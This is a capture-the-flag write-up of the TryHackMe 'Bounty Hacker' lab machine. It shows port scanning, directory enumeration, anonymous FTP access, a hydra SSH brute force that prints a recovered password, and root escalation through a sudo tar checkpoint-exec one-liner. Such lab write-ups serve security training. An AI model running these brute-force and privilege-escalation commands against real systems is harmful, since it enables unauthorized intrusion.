First we connect to TryHackMe with openvpn

I am first gonna run a nmap scan

nmap -sC -sV -A -oN initial 10.10.69.46

Starting Nmap 7.80 (https://nmap.org) at 2020-12-04 00:30 EST

Nmap scan report for 10.10.69.46

Host is up (0.11s latency).

Not shown: 967 filtered ports, 30 closed ports

PORT STATE SERVICE VERSION

21/tcp open ftp vsftpd 3.0.3

| ftp-anon: Anonymous FTP login allowed (FTP code 230)

|_Can't get directory listing: TIMEOUT

| ftp-syst:

| STAT:

| FTP server status:

| Connected to ::ffff:10.9.185.132

| Logged in as ftp

| TYPE: ASCII

| No session bandwidth limit

| Session timeout in seconds is 300

| Control connection is plain text

| Data connections will be plain text

| At session startup, client count was 3

| vsFTPd 3.0.3 - secure, fast, stable

|_End of status

22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 2048 dc:f8:df:a7:a6:00:6d:18:b0:70:2b:a5:aa:a6:14:3e (RSA)

| 256 ec:c0:f2:d9:1e:6f:48:7d:38:9a:e3:bb:08:c4:0c:c9 (ECDSA)

|_ 256 a4:1a:15:a5:d4:b1:cf:8f:16:50:3a:7d:d0:d8:13:c2 (ED25519)

80/tcp open http Apache httpd 2.4.18 ((Ubuntu))

|_http-server-header: Apache/2.4.18 (Ubuntu)

|_http-title: Site doesn't have a title (text/html).

Aggressive OS guesses: HP P2000 G3 NAS device (91%), Linux 2.6.32 (90%), Infomir MAG-250 set-top box (90%), Ubiquiti AirMax NanoStation WAP (Linux 2.6.32) (90%), Netgear RAIDiator 4.2.21 (Linux 2.6.37) (90%), Linux 2.6.32 - 3.13 (89%), Linux 3.3 (89%), Linux 3.7 (89%), Ubiquiti AirOS 5.5.9 (89%), Ubiquiti Pico Station WAP (AirOS 5.2.6) (88%)

No exact OS matches for host (test conditions non-ideal).

Network Distance: 2 hops

Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 49154/tcp)

HOP RTT ADDRESS

1 114.84 ms 10.9.0.1

2 115.12 ms 10.10.69.46

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 52.47 seconds

After running the nmap I am gonna run gobuster for good measure.

root@kali:~# gobuster dir -u http://10.10.69.46 -w /usr/share/dirb/wordlists/common.txt

===

Gobuster v3.0.1

by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)

===

[+] Url: http://10.10.69.46

[+] Threads: 10

[+] Wordlist: /usr/share/dirb/wordlists/common.txt

[+] Status codes: 200,204,301,302,307,401,403

[+] User Agent: gobuster/3.0.1

[+] Timeout: 10s

===

2020/12/04 00:24:12 Starting gobuster

===

/.htaccess (Status: 403)

/.hta (Status: 403)

/.htpasswd (Status: 403)

/images (Status: 301)

/index.html (Status: 200)

/server-status (Status: 403)

===

2020/12/04 00:25:06 Finished

===

Seeing that gobuster gave me no additonal info im going to connect ftp with anonymous as username

root@kali:~# ftp 10.10.69.46

Connected to 10.10.69.46.

220 (vsFTPd 3.0.3)

Name (10.10.69.46:root): anonymous

230 Login successful.

Remote system type is UNIX.

Using binary mode to transfer files.

ftp> ls

200 PORT command successful. Consider using PASV.

150 Here comes the directory listing.

-rw-rw-r-- 1 ftp ftp 418 Jun 07 20:41 locks.txt

-rw-rw-r-- 1 ftp ftp 68 Jun 07 20:47 task.txt

I found that there is two files so I get both locks.txt and task.txt

locks.txt seems to have a list of possible passwords

I choose to use hydra bruteforce against the locks.txt

root@kali:~# hydra -l lin -P locks.txt ssh://10.10.69.46

Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-12-04 00:43:07

[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4

[DATA] max 16 tasks per 1 server, overall 16 tasks, 26 login tries (l:1/p:26), ~2 tries per task

[DATA] attacking ssh://10.10.69.46:22/

[22][ssh] host: 10.10.69.46 login: lin password: RedDr4gonSynd1cat3

1 of 1 target successfully completed, 1 valid password found

[WARNING] Writing restore file because 3 final worker threads did not complete until end.

[ERROR] 3 targets did not resolve or could not be connected

[ERROR] 0 targets did not complete

Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-12-04 00:43:11

After figuring out the password, I ssh into lin user account.

root@kali:~# ssh -p 22 lin@10.10.69.46

The authenticity of host '10.10.69.46 (10.10.69.46)' can't be established.

ECDSA key fingerprint is SHA256:fzjl1gnXyEZI9px29GF/tJr+u8o9i88XXfjggSbAgbE.

Are you sure you want to continue connecting (yes/no/[fingerprint])? yes

Warning: Permanently added '10.10.69.46' (ECDSA) to the list of known hosts.

lin@10.10.69.46's password:

Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.15.0-101-generic x86_64)

*** Documentation: https://help.ubuntu.com**

*** Management: https://landscape.canonical.com**

*** Support: https://ubuntu.com/advantage**

83 packages can be updated.

0 updates are security updates.

Last login: Sun Jun 7 22:23:41 2020 from 192.168.0.14

lin@bountyhacker:~/Desktop$ ls

user.txt

I grab the user flag and turn it in.

At this point I need to priv esc. I use sudo -l

sudo -l

[sudo] password for lin:

Matching Defaults entries for lin on bountyhacker:

env_reset, mail_badpass,

secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User lin may run the following commands on bountyhacker:

(root) /bin/tar

I than use the following command to gain access to root

sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash

tar: Removing leading `/' from member names

From there I cat /root/root.txt and turn in the root flag